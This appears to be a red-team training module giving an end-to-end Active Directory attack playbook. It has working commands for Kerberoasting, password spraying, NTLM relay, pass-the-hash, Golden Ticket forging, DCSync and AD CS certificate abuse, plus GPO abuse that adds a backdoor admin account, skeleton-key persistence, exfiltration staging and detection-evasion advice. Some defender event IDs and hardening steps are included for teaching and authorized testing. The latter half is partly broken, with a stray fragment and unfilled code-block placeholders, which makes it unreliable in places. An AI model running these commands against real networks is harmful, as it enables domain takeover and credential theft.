How Attackers Spot the Opportunity

AD exposes a massive amount of information to any authenticated domain user by default. LDAP queries require no special privileges, and most environments leave default read permissions in place.

Common enumeration techniques:

LDAP Enumeration

# Native — no extra tools needed
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-ADUser -Filter * -Properties *
Get-ADGroup -Filter * | Select Name
Get-ADComputer -Filter * -Properties OperatingSystem

BloodHound / SharpHound — Maps the entire AD graph, including attack paths to Domain Admin:

# Run collector on any domain-joined box as a standard user
.\SharpHound.exe -c All --outputdirectory C:\temp
# Import the ZIP into BloodHound GUI → query "Shortest path to DA"

PowerView

# Enumerate shares, sessions, local admins, trust paths
Get-NetDomain
Get-NetUser -SPN           # find service accounts → Kerberoasting targets
Find-LocalAdminAccess      # where does this user have local admin?
Get-DomainTrust            # enumerate all trust relationships
Invoke-ShareFinder         # find accessible shares across the domain

How They Abuse It

Enumeration feeds every subsequent attack. The output of BloodHound directly answers: "What is the shortest path from my current user to Domain Admin?" Attackers use it to:

• Identify Kerberoastable / ASREPRoastable accounts
• Find users with DCSync rights
• Find paths via ACL misconfigurations
• Locate computers where high-value sessions exist

2. Credential-Based Attacks

2.1 Password Spraying

What it is: Testing one or a few common passwords across many accounts to avoid lockout.

How attackers spot it: Any list of valid usernames (from LDAP enum, LinkedIn, email format guessing) combined with a weak password policy.

How they abuse it:

# Spray from Linux using kerbrute (no lockout risk if threshold is known)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 users.txt 'Winter2024!'

# From Windows using Invoke-DomainPasswordSpray
Invoke-DomainPasswordSpray -Password 'Spring2025!' -OutFile hits.txt

Detection bypass: Stay at 1 attempt per account per 30 minutes. Check the domain's lockoutThreshold via net accounts /domain.

2.2 NTLM Hash Capture & Relay

What it is: Capturing NTLMv2 challenge-response hashes in transit and either cracking them offline or relaying them to authenticate elsewhere.

How attackers spot it:

• LLMNR / NBT-NS still enabled (default on older Windows)
• SMB signing not required (check with nmap --script smb-security-mode)
• NTLM still enabled network-wide

How they abuse it:

# Step 1 — Poison LLMNR/NBT-NS with Responder
sudo responder -I eth0 -wrf
# Captures NTLMv2 hashes from machines that mistype a hostname

# Step 2a — Crack offline
hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt

# Step 2b — Relay to other hosts (when SMB signing is off)
sudo ntlmrelayx.py -tf targets.txt -smb2support
# Authenticates to each target in targets.txt as the captured user

2.3 Pass-the-Hash (PtH)

What it is: Using an NTLM hash directly to authenticate without knowing the plaintext password.

How attackers spot it: Dump hashes from SAM, LSASS, or NTDS.dit. PtH works on any host where that account has access as long as it's a local or domain account.

How they abuse it:

# Move laterally with impacket
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 corp/administrator@10.10.10.5

# Or with NetExec
nxc smb 10.10.10.0/24 -u administrator -H 5fbc3d5fec8206a30f4b6c473d68ae76

2.4 Pass-the-Ticket (PtT)

What it is: Stealing a valid Kerberos ticket (TGT or TGS) from memory and injecting it to authenticate as that user.

How attackers spot it: Any user is logged in somewhere. If an attacker has SYSTEM on that machine, they can dump tickets.

How they abuse it:

# Dump tickets from memory
.\Rubeus.exe dump /nowrap

# Inject a stolen ticket into the current session
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Verify
klist

3. Kerberos Abuse

3.1 Kerberoasting

What it is: Any domain user can request a service ticket (TGS) for any account with a Service Principal Name (SPN). That ticket is encrypted with the service account's NTLM hash — attackable offline.

How attackers spot it:

# Find Kerberoastable accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Or with PowerView:
Get-DomainUser -SPN

High-value targets: accounts with SPN set AND high privileges (e.g., svc_sql, svc_backup).

How they abuse it:

# Request TGS for all SPNs and output crackable hashes
.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap

# Crack offline
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Why it matters: Service accounts often have weak passwords set years ago and never rotated. Cracking gives a valid domain credential — sometimes with admin rights.

3.2 AS-REP Roasting

What it is: Accounts with "Do not require Kerberos preauthentication" enabled send an AS-REP encrypted with their password hash — without the attacker needing to authenticate first.

How attackers spot it:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

How they abuse it:

# From Linux, no credentials needed
impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

3.3 Golden Ticket

What it is: A forged TGT signed with the KRBTGT account's hash. Valid for any user, any service, any machine — essentially unlimited domain access.

How attackers spot the opportunity: After obtaining Domain Admin or DCSync rights, dump the KRBTGT hash.

How they abuse it:

# Dump KRBTGT hash (requires DA / DCSync rights)
.\mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

# Forge a Golden Ticket
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /ptt" exit

# Now you have a ticket injected — access anything
dir \\dc01\C$

Why it matters: Golden tickets can be set to expire in 10+ years and survive password resets of regular accounts (only KRBTGT reset kills them).

3.4 Silver Ticket

What it is: A forged TGS for a specific service signed with the service account's hash — bypasses the DC entirely.

How they abuse it:

# Forge a Silver Ticket for CIFS service on a target host
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:fileserver.corp.local /service:cifs /rc4:<service_account_hash> /ptt" exit

3.5 Unconstrained Delegation

What it is: Computers/accounts configured with Unconstrained Delegation cache TGTs of every user who authenticates to them. An attacker with SYSTEM on such a host can steal those TGTs — including the DC's machine account TGT.

How attackers spot it:

# Find systems with Unconstrained Delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true}

How they abuse it (PrinterBug / SpoolSample):

# Coerce the DC to authenticate to our controlled host
.\SpoolSample.exe DC01 ATTACKER-HOST

# On attacker host (with Unconstrained Delegation), grab the DC's TGT
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$

# Use the DC$ TGT → DCSync → full domain compromise
.\Rubeus.exe ptt /ticket:<DC_TGT>
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" exit

3.6 Constrained Delegation Abuse

What it is: Accounts/computers allowed to delegate to specific services (S4U2Proxy). If an attacker controls the delegating account, they can impersonate any user to the allowed service.

How attackers spot it:

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

How they abuse it:

# Get TGT for the constrained delegation account, then forge a service ticket as Domain Admin
.\Rubeus.exe s4u /user:svc_IIS /rc4:<hash> /impersonateuser:Administrator /msdsspn:"http/webserver.corp.local" /ptt

4. ACL / ACE Abuse

What It Is

Active Directory objects have Access Control Lists (ACLs) with Access Control Entries (ACEs). Misconfigurations allow low-privileged users to modify high-privileged objects — users, groups, GPOs, computers.

How Attackers Spot It

BloodHound is the primary tool — query: "Find Shortest Paths to Domain Admins". Common abusable ACEs:

How They Abuse It

Reset a user's password (ForceChangePassword):

$pass = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-ADAccountPassword -Identity TargetUser -NewPassword $pass -Reset

Add self to a group (AddMember / GenericAll on group):

Add-ADGroupMember -Identity "Domain Admins" -Members attacker_user

WriteDACL → grant self DCSync rights:

# Using PowerView
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights DCSync

DCSync (once DCSync ACE is granted):

.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" exit

5. Active Directory Certificate Services (AD CS)

What It Is

AD CS issues X.509 certificates for authentication, encryption, and code signing. Certificate templates with weak settings are a direct path to credential theft and persistence.

ESC1 — Misconfigured Certificate Templates

How attackers spot it:

# Enumerate with Certipy
certipy find -u attacker@corp.local -p 'Password1' -dc-ip 10.10.10.1 -vulnerable

Look for templates where:

• CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set (requester controls the SAN)
• Client Authentication EKU is present
• Low-privileged users have Enroll rights

How they abuse it:

# Request a cert as Domain Admin — you supply the SAN
certipy req -u attacker@corp.local -p 'Password1' -dc-ip 10.10.10.1 -ca 'corp-CA' -template 'VulnerableTemplate' -upn 'administrator@corp.local'

# Authenticate with the cert → get DA's NTLM hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

ESC8 — NTLM Relay to AD CS HTTP Enrollment

How attackers spot it: AD CS web enrollment endpoint (/certsrv) running over HTTP (no HTTPS required), combined with a coercion opportunity.

How they abuse it:

# Relay NTLM auth from DC to AD CS → get DC$ certificate → DCSync
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC auth (PrinterBug / PetitPotam)
python3 PetitPotam.py attacker-ip dc01.corp.local
# Use the issued cert
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1

6. Group Policy Abuse

What It Is

Group Policy Objects (GPOs) control configuration across the domain. If an attacker can write to a GPO that applies to high-value machines or users, they can deploy malicious settings.

How Attackers Spot It

# Find GPOs where low-priv users have write rights
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Write" -and $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM"}

BloodHound: Query "Find GPO Objects Where Domain Users Can Modify"

How They Abuse It

# Using SharpGPOAbuse — add an immediate scheduled task via a writable GPO
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Pwn" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add" --GPOName "Vulnerable GPO"

# Force policy refresh
gpupdate /force

7. Lateral Movement via Windows Services

7.1 WinRM / PowerShell Remoting

How attackers spot it:

# Check if WinRM is open
nmap -p 5985,5986 10.10.10.0/24
nxc winrm 10.10.10.0/24 -u user -p password

How they abuse it:

# Enter remote session
Enter-PSSession -ComputerName TARGET -Credential $cred

# Or with Evil-WinRM
evil-winrm -i 10.10.10.5 -u administrator -p 'Password1'

7.2 WMI Lateral Movement

How attackers spot it: WMI is enabled by default. If an account has local admin, WMI is a valid remote execution path.

How they abuse it:

# Remote execution via WMI (no tool needed)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred

# With NetExec
nxc smb 10.10.10.5 -u admin -p 'Password1' -x "whoami" --exec-method wmiexec

7.3 DCOM Lateral Movement

How attackers spot it: DCOM objects (MMC20, ShellWindows, ShellBrowserWindow) allow remote code execution when local admin access exists.

How they abuse it:

# Using DCOM MMC20.Application object
$com = [Activator]::CreateInstanceGetTypeFromProgID("MMC20.Application","10.10.10.5")
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe','7')

7.4 SCM / Remote Service Creation (PsExec-style)

How attackers spot it: SMB port 445 open, admin share (\\TARGET\ADMIN$) accessible, SMB signing off or credentials available.

How they abuse it:

impacket-psexec corp/administrator:'Password1'@10.10.10.5
impacket-smbexec corp/administrator:'Password1'@10.10.10.5

8. Domain Persistence

8.1 DCSync (Simulated Domain Replication)

What it is: Any account with Replicating Directory Changes + Replicating Directory Changes All rights can pull password hashes from the DC via DRSUAPI — no shell on the DC needed.

# Check who has DCSync rights
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "Replication"}

# Perform DCSync
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" exit

8.2 AdminSDHolder Abuse

What it is: AdminSDHolder is a template object whose ACL is propagated to all protected groups (Domain Admins, etc.) by the SDProp process every 60 minutes.

How they abuse it: Write a malicious ACE to AdminSDHolder → it automatically propagates to protected groups.

# Grant attacker GenericAll on AdminSDHolder → propagates to DA within 60 min
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights All

8.3 DSRM Backdoor

What it is: The Directory Services Restore Mode (DSRM) account is a local admin on DCs that can be used even when the domain is down. Its hash can be configured to allow network logon.

# Dump DSRM hash
.\mimikatz.exe "token::elevate" "lsadump::sam" exit

# Enable network DSRM logon (registry key on DC)
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2

# Authenticate with DSRM hash (Pass-the-Hash)
impacket-secretsdump -hashes :dsrm_hash 'DC01/Administrator@10.10.10.1' -just-dc-user Administrator

8.4 Skeleton Key

What it is: A patch injected into LSASS on a DC that makes ANY account accept a master password (mimikatz by default) in addition to their real password. Does NOT survive reboots.

.\mimikatz.exe "privilege::debug" "misc::skeleton" exit
# Now any user can auth with password "mimikatz" alongside their real password

9. Trust Relationship Abuse

What It Is

Domain trusts allow users in one domain to access resources in another. Misconfigurations or design weaknesses allow attackers to escalate across domains or forests.

How Attackers Spot It

Get-DomainTrust
Get-ADTrust -Filter *
nltest /domain_trusts

SID History Injection (Cross-Domain Privilege Escalation)

How they abuse it: If a bidirectional or outbound trust exists and SID filtering is disabled, inject a DA SID from the target domain into the SID History attribute of an account in the source domain.

# Requires DA in source domain
.\mimikatz.exe "kerberos::golden /user:attacker /domain:child.corp.local /sid:<child_SID> /sids:<parent_DA_SID> /krbtgt:<child_krbtgt_hash> /ptt" exit
# Now operating with Enterprise Admin rights in parent domain

10. Common Attack Chains (Full Paths)

Chain A: Standard User → Domain Admin via Kerberoasting

[Foothold as domain user]
    → Enumerate SPNs (Get-DomainUser -SPN)
    → Kerberoast high-priv SPN (Rubeus)
    → Crack hash offline (Hashcat)
    → Authenticate as service account
    → Service account has DA membership or local admin on DC
    → DCSync → krbtgt hash → Golden Ticket

Chain B: Standard User → Domain Admin via ACL Abuse

[Foothold as domain user]
    → Run BloodHound → find ACL path to DA
    → Exploit WriteDACL / GenericAll on intermediate object
    → Grant self DCSync rights on domain object
    → DCSync → full credential dump

Chain C: No Credentials → Domain Admin via AD CS (ESC8)

[Network access, no creds]
    → Identify AD CS HTTP enrollment endpoint
    → Run PetitPotam to coerce DC NTLM auth
    → Relay to /certsrv → obtain DC$ certificate
    → Authenticate with cert → get DC$ NTLM hash
    → DCSync as DC$ → krbtgt hash → Golden Ticket

Chain D: Local Admin → Domain Admin via Unconstrained Delegation

[Local admin on server with Unconstrained Delegation]
    → Monitor for incoming tickets (Rubeus monitor)
    → Coerce DC auth via PrinterBug / PetitPotam
    → DC$ TGT lands in memory on delegation host
    → Inject TGT → DCSync → krbtgt

Chain E: Standard User → Domain Admin via GPO Write

[Foothold as domain user]
    → Enumerate GPO write permissions (PowerView / BloodHound)
    → Identify writable GPO linked to Domain Controllers OU
    → SharpGPOAbuse → add attacker to local admins on DC
    → psexec/WinRM to DC → dump NTDS.dit

Quick Reference: Detection Artefacts

Tools Summary

Document: Red Teaming 101 — Module 2.1 | For authorized penetration testing and security research only.

-delegate-from 'evilpc

{{CODE_BLOCK_25}}

RBCD attack flow summary:

When to use RBCD vs Shadow Credentials: RBCD requires creating/controlling a machine account. Shadow Credentials require only GenericWrite on a user/computer object and leave less trace (no new machine account). Use Shadow Credentials when targeting users; use RBCD when you need code execution on a specific computer. Both bypass the need for password resets.

Procedure — ADCS Certificate Abuse:

{{CODE_BLOCK_27}}

ESC Vulnerability Quick Reference:

Procedure — Domain Dominance (DCSync & Tickets):

{{CODE_BLOCK_28}}

{{CODE_BLOCK_29}}

{{CODE_BLOCK_30}}

OPSEC: DCSync is a high-fidelity alert in most SOCs (Event ID 4662). ACL modifications write to the AD database — always have a cleanup plan. Shadow Credentials are stealthier than password resets (no Event 4723) but write to ms-DS-Key-Credential-Link. Certificate abuse is often the least monitored path — CA logs are rarely reviewed in real time.

✦ Full Windows/AD Attack Chain [Operator]

Executing a complete engagement from initial Windows foothold through full AD compromise, maintaining OPSEC throughout.

What you're building: A documented end-to-end kill chain from initial foothold to domain dominance, with cleanup steps for each phase. This is the mental model that ties all eight action items together.

Tactic: Full Kill Chain (Initial Access → Privilege Escalation → Credential Access → Lateral Movement → Persistence → Exfiltration)

Technique: Chained exploitation of Windows and Active Directory misconfigurations in a single cohesive engagement scenario

Procedure:

1. Local Foothold: Gain initial shell. Run AI1 Phases 1–4 manually. Identify SeImpersonatePrivilege or unquoted service paths.
2. Local Escalation: Escalate to SYSTEM via AI2 (potato attack or service binary). Dump credentials via AI3 (SAM + SYSTEM offline, or comsvcs.dll LSASS dump).
3. Domain Entry: Use harvested NT hash or cleartext to authenticate to the domain. Validate with net user %USERNAME% /domain. Begin AI5 manual enumeration — targeted PowerView queries, no SharpHound burst.
4. Attack Path Selection: Check in priority order: (a) AS-REP roast for quick hashes → (b) Kerberoasting service accounts → (c) ADCS with certipy find -vulnerable → (d) ACL paths via Find-InterestingDomainAcl. Take the path of least resistance.
5. Domain Escalation: Execute chosen path. ESC1/ESC8 certificates and DCSync are typically the cleanest paths to DA. Avoid Add-DomainGroupMember on Domain Admins directly — audited. Prefer shadow credentials or certificate-based escalation.
6. Persistence: Deploy Golden Ticket (offline, survives password changes until krbtgt reset twice) or forge a CA certificate. WMI subscription from AI4 for interactive access.
7. Exfiltration: Pull only the approved data set, stage it in a low-visibility path, compress and encrypt it, then move it over a trusted channel or existing enterprise sync path.
8. Cleanup: Revert ACL changes, delete temporary computer accounts (RBCD), revoke obtained certificates, remove scheduled tasks and WMI subscriptions, and remove staging artifacts only after receipt is verified. Document every action for the report.

Windows Exfiltration Workflow

Why here: On Windows and AD engagements, exfiltration is part of the operator chain after privilege and objective access. It belongs inside the Windows/AD workflow because the files, channels, and DLP controls are OS- and environment-specific.

Related files: C2 transfer paths are in 7. C2. Proxying and route control are in 4.1_Pivoting_and_Tunneling. Cloud-side storage tradecraft is in 5.1 AWS Attack Paths and 5.2 Azure Entra Attacks.

1. Identify high-value files

{{CODE_BLOCK_31}}

{{CODE_BLOCK_32}}

2. Stage, compress, and encrypt

{{CODE_BLOCK_33}}

3. Transfer over an approved or trusted channel

{{CODE_BLOCK_34}}

{{CODE_BLOCK_35}}

{{CODE_BLOCK_36}}

4. DNS fallback for small, high-value data

{{CODE_BLOCK_37}}

5. DLP awareness and cleanup

{{CODE_BLOCK_38}}

{{CODE_BLOCK_39}}

{{CODE_BLOCK_40}}

Windows exfiltration rules

• Check the RoE for data classification, mailbox content, credential material, and volume limits before staging anything.
• Prefer the existing C2 channel or a trusted enterprise sync path over brand-new outbound traffic.
• Use low-volume encrypted archives; avoid large raw copies and avoid clearing logs unless the engagement explicitly allows it.
• DNS exfil is a last resort for small files only; it is slow and high-entropy query patterns are easy to hunt.

Common Windows/AD Service Ports:

OPSEC: The operator mindset is about choosing the path of least resistance. If a simple Kerberoast crack gets you DA, don't bother with coercion chains. If ESC1 is in scope, use it — quieter than DCSync and generates no replication events. Always assume you are being watched. Document every action for deconfliction and reporting.

AI9 — Common Windows Services

What you're building: A service-by-service attacker reference for the 12 most common Windows services — how to fingerprint them, enumerate misconfigurations, exploit them, and detect/harden them from the defender side.

BLUF: Every Windows network runs the same dozen services. Know them cold — their ports, default misconfigurations, attack surface, and the Event IDs that expose you when you touch them. Attacker-primary, defender-aware.

Phase 1 — SMB (TCP 445, 139)

SMB (Server Message Block) is the backbone of Windows file sharing, named pipe communication, and lateral movement. It is the most-attacked Windows protocol — null sessions, relay attacks, named pipe abuse, and remote code execution all flow through port 445.

{{CODE_BLOCK_41}}

Why: SMB exposes enormous attack surface even when patched — null sessions, SYSVOL credential scraping, and coercion attacks (see AI7 for full NTLM relay chain) are all possible via port 445 on a default Windows installation.

Common Misconfigurations:

• SMB signing disabled → NTLM relay attacks (see AI7 for full relay chain)
• Null sessions allowed → unauthenticated enumeration of users, groups, shares
• SYSVOL GPO scripts with credentials → plaintext cred exposure
• SMBv1 enabled → EternalBlue (MS17-010) exploitation
• Named pipes accessible anonymously → info disclosure via IPC$

Defender Block:

• Event IDs: 4624 Logon Type 3 (successful net logon), 4625 Logon Type 3 (failed net logon), 5140 (network share accessed), 5145 (network share object access check), 7045 (new service installed — possible PsExec/lateral movement)
• Sigma hint: EID 5145 with ObjectType matching \*\IPC$ AND SubjectUserName ANONYMOUS LOGON → null session activity
• Hardening: Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB1Protocol $false, set registry HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\RestrictNullSessAccess = 1, block TCP 445/139 inbound at perimeter firewall

OPSEC: enum4linux-ng and nxc subnet sweeps generate a burst of EID 4624/5140 events — detectable by volume alone. In monitored environments, use targeted smbclient -L or rpcclient single-host queries. SMB signing check via nxc smb --gen-relay-list is low-noise — just checking the handshake flag.

Phase 2 — RDP (TCP 3389)

RDP (Remote Desktop Protocol) is the primary remote GUI administration channel for Windows. It is heavily targeted for credential spray, session hijacking, and exploitation of NLA-disabled hosts. A single exposed RDP port on the internet is one of the most common ransomware initial access vectors.

{{CODE_BLOCK_42}}

Why: RDP is both a rich attack surface and a critical detection signal — every logon Type 10 is logged. Session hijacking via tscon requires no password once you have SYSTEM. NLA-disabled hosts are directly vulnerable to pre-auth exploits and BlueKeep.

Common Misconfigurations:

• NLA disabled → pre-authentication vulnerability exposure (BlueKeep CVE-2019-0708, DejaBlue)
• RDP internet-exposed with weak passwords → spray and brute force primary ransomware initial access
• Accessibility backdoor (sethc.exe/utilman.exe swap) → pre-auth SYSTEM shell via Sticky Keys
• Session hijack via tscon → steal active admin sessions without credentials (SYSTEM required)
• No RDP Gateway / firewall restriction → direct internet attack surface

Defender Block:

• Event IDs: 4624 Logon Type 10 (RemoteInteractive — successful RDP logon), 4625 Logon Type 10 (failed RDP attempt), 4778 (session reconnected), 4779 (session disconnected), 1149 (TerminalServices pre-auth connection in Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational)
• Sigma hint: EID 1149 from non-RFC1918 source IP + burst of 4625 Type 10 within 60 seconds = RDP spray in progress
• Hardening: Enable NLA (Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1), restrict via firewall to VPN/jump host only, deploy RDP Gateway for external access, apply KB4499175 (BlueKeep patch), enforce tiered admin model — no DA accounts logging into workstations

OPSEC: Every successful RDP logon generates EID 4624 Type 10 — highly visible and always logged. Session hijacking via tscon requires SYSTEM-level access first and generates no new logon event (you're stealing an existing session). BlueKeep exploit can BSOD the target on failure — never attempt against live production systems.

Phase 3 — WinRM / WMI (TCP 5985, 5986, 135)

WinRM (Windows Remote Management) provides PowerShell remoting over HTTP/HTTPS. WMI (Windows Management Instrumentation) on port 135 enables remote process execution and management queries. Both are legitimate admin channels abused heavily for lateral movement.

{{CODE_BLOCK_43}}

Why: WinRM and WMI are built-in remote execution channels — no extra tools needed on the target. evil-winrm gives a full interactive shell. WMI method invocation is quieter than named-pipe-based tools (PsExec, smbexec) but still generates 4688 events. See AI4 for WMI subscription persistence.

Common Misconfigurations:

• WinRM enabled on workstations → should be servers/admins only
• No HTTPS enforcement → port 5985 transmits commands in plaintext
• Domain Users in WinRM access group → over-permissive; should be restricted to admins
• WMI subscriptions for persistence → see AI4 for persistence via WMI event subscriptions
• No PowerShell Script Block Logging → execution is invisible beyond process name

Defender Block:

• Event IDs: 4688 with wsmprovhost.exe as new process (PS remoting execution), 4648 (explicit credentials used for WinRM), 91 in Microsoft-Windows-WinRM/Operational (WSMan connection established), 4103/4104 (PS Module/Script Block logging — if enabled)
• Sigma hint: EID 4688 with NewProcessName = wsmprovhost.exe spawned from unexpected parent or outside business hours = PS remoting lateral movement
• Hardening: Enable PowerShell Script Block Logging + Transcription (GPO), enforce HTTPS-only WinRM (winrm set winrm/config/listener?Address=*+Transport=HTTPS), restrict WinRM access to admin jump hosts via firewall, disable WinRM on workstations (Disable-PSRemoting -Force)

OPSEC: PS remoting creates a wsmprovhost.exe process on the target — logged at EID 4688 even without Script Block Logging. impacket-wmiexec spawns a cmd.exe child under WMI. Invoke-WmiMethod is slightly quieter — no interactive wsmprovhost shell — but still logged. Use targeted single-host execution; subnet-wide WMI scanning is loud.

Phase 4 — MSSQL (TCP 1433)

Microsoft SQL Server is commonly deployed with excessive privileges — running as SYSTEM or a domain service account, with xp_cmdshell enabled or easily re-enabled. A compromised MSSQL instance frequently leads to OS-level code execution or lateral movement via linked servers.

{{CODE_BLOCK_44}}

Why: MSSQL's xp_cmdshell is a direct OS command execution gateway. Even when disabled, any user with ALTER SETTINGS permission can re-enable it. Linked server chains allow lateral movement between SQL instances without needing separate credentials — a single compromised SQL account can traverse the whole SQL topology.

Common Misconfigurations:

• xp_cmdshell enabled → direct OS command execution via SQL
• SA account with blank/default password → instant admin access
• MSSQL running as SYSTEM or Domain Admin → full OS/domain takeover from SQL shell
• Linked servers with delegation → lateral movement across SQL instances
• Excessive PUBLIC role permissions → non-admin users can execute dangerous procedures

Defender Block:

• Event IDs: 33205 (SQL Server Audit — successful audit event), 33206 (SQL Server Audit — failed audit event), 4688 with ParentProcessName = sqlservr.exe (child process spawned via xp_cmdshell — confirms OS command execution)
• Sigma hint: EID 4688 with ParentProcessName = sqlservr.exe AND NewProcessName = cmd.exe or powershell.exe = xp_cmdshell execution in progress
• Hardening: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; — disable xp_cmdshell, run MSSQL as low-privilege service account (not SYSTEM), enable SQL Server Audit, clear SA blank password, review linked server permissions and delegation settings

OPSEC: xp_cmdshell spawns cmd.exe as a direct child of sqlservr.exe — this parent-child relationship is trivially detected by EDR and SIEM. In monitored environments, prefer CLR assemblies or OLE Automation Procedures as quieter execution alternatives. Always check if xp_cmdshell is already enabled before trying to re-enable it — sp_configure changes are audited.

Phase 5 — IIS / HTTP(S) (TCP 80, 443)

IIS (Internet Information Services) is Microsoft's web server. Common on internal networks hosting portals, APIs, and management interfaces. Misconfigurations — WebDAV, excessive app pool identity permissions, or loose upload endpoints — frequently lead to initial access or lateral movement.

{{CODE_BLOCK_45}}

Why: WebDAV with write access allows direct file upload to the web root — a one-step path to web shell placement and RCE. Even without WebDAV, discovering the app pool identity's privilege level (SYSTEM, Network Service, or domain account) determines what OS access a web shell provides.

Common Misconfigurations:

• WebDAV enabled with write access → arbitrary file upload → web shell → RCE
• App pool running as SYSTEM or domain account → elevated OS access from web shell
• Default IIS welcome page not removed → confirms IIS version, aids fingerprinting
• Directory listing enabled → exposes file structure without authentication
• ASP.NET debug mode or verbose errors → stack traces, connection strings, internal paths leaked
• PUT method allowed on upload endpoints → direct file write without WebDAV

Defender Block:

• Event IDs: 4688 with ParentProcessName = w3wp.exe (IIS worker process spawning child = web shell execution), IIS access logs at C:\inetpub\logs\LogFiles\W3SVC* (check for PUT/POST to unusual paths), 4663 (object access audit on web root directory — requires SACL)
• Sigma hint: EID 4688 with ParentProcessName = w3wp.exe AND NewProcessName matching cmd.exe, powershell.exe, or certutil.exe = active web shell exploitation
• Hardening: Disable WebDAV if not required (Remove-WindowsFeature Web-DAV-Publishing), run app pools as dedicated least-privilege service accounts, suppress server version headers (requestFiltering/removeServerHeader), enable Failed Request Tracing, deploy WAF for external-facing IIS

OPSEC: Web shell execution creates child processes of w3wp.exe — the parent-child relationship is a high-fidelity EDR detection signal. LOLBin usage (certutil, bitsadmin, msiexec) is slightly less noisy than dropping and running cmd.exe directly. Any PUT request to the web root should be treated as a critical alert.

Phase 6 — DNS (TCP/UDP 53)

DNS is the backbone of Active Directory — every DC lookup, service discovery, and Kerberos ticket request depends on it. Zone transfer misconfigs expose the full network map. ADIDNS integration allows authenticated users to register arbitrary DNS records by default, enabling DNS poisoning for NTLM relay.

{{CODE_BLOCK_46}}

Why: Zone transfers expose the complete DNS zone — hostnames, IPs, internal network topology — in a single unauthenticated request if misconfigured. ADIDNS write access (default for Authenticated Users in many domains) lets an attacker register a DNS record pointing any name to their IP, then use Responder or ntlmrelayx to capture/relay credentials when clients resolve that name. See AI5 Phase 1 for full DNS SRV record enumeration workflow.

Common Misconfigurations:

• Zone transfers allowed from any IP → full DNS map exposed unauthenticated
• ADIDNS write access for Authenticated Users → DNS poisoning for NTLM capture/relay (see AI7)
• Wildcard DNS entries → mask hostname typos, interfere with tooling
• Recursive DNS resolvers accessible externally → DNS amplification reflection

Defender Block:

• Event IDs: 770 (DNS zone transfer request received), 771 (DNS zone transfer request denied — in Microsoft-Windows-DNS-Server/Audit), DNS debug logging enables full query/response capture (enable via DNS Manager → Debug Logging on each DNS server)
• Sigma hint: EID 770 from any IP that is not a known secondary DNS server = unauthorized zone transfer attempt; alert immediately
• Hardening: Restrict zone transfers to known secondary NS IPs only (Set-DnsServerPrimaryZone -Name domain.local -SecondaryServers @('10.10.10.2') -SecureSecondaries TransferToSecureServers), audit ADIDNS ACLs (Get-DnsServerZone domain.local | Get-Acl), remove Authenticated Users write permission from DNS zones, enable DNS debug logging in production environments

OPSEC: Zone transfers generate EID 770/771 — immediate detection signal. ADIDNS record creation writes to the AD DNS object and is visible in object audit logs if enabled. DNS subdomain brute-forcing generates high query volume detectable by DNS query rate analytics or behavioral baselines.

Phase 7 — LDAP / LDAPS (TCP 389, 636, 3268, 3269)

LDAP (Lightweight Directory Access Protocol) is the query layer for Active Directory — every user lookup, group membership check, and computer account query uses LDAP. Port 389 is plaintext, 636 is LDAPS (TLS), 3268/3269 are the Global Catalog ports. Anonymous binds and unsigned LDAP relay are the primary attack vectors.

{{CODE_BLOCK_47}}

